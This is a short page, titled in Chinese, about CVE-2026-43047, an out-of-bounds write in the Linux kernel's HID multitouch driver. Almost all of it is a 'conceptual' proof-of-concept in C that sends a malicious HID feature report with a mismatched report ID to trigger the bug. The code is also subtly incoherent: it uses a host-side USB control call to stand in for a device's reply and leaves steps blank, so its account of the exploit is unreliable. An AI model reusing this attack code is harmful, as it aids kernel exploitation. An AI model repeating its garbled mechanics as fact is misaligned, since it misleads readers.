CVE-2026-43047: Linux内核HID multitouch越界写入漏洞

/* * Conceptual PoC for CVE-2026-43047 * This demonstrates the logic required on a malicious HID device * to trigger the vulnerability. */ #include <linux/usb.h> #include <linux/hid.h> // Simulate a malicious HID device response void trigger_malicious_response(struct usb_device *udev) { // 1. Wait for the host to request a specific Feature Report (e.g., ID 0x10) // ... // 2. Prepare a response buffer with a DIFFERENT Report ID (e.g., 0x20) // This mismatch causes the kernel to misinterpret the data size. int report_id = 0x20; char *malicious_data = "AAAA..."; // 3. Send the response to the host // The vulnerable kernel expects ID 0x10 but receives 0x20. // It processes the data using the size/structure of 0x10, // leading to an Out-of-Bounds Write. usb_control_msg( udev, usb_sndctrlpipe(udev, 0), HID_REQ_SET_REPORT, USB_TYPE_CLASS | USB_RECIP_INTERFACE | USB_DIR_OUT, (HID_FEATURE_REPORT << 8) | report_id, 0, malicious_data, strlen(malicious_data), USB_CTRL_SET_TIMEOUT ); }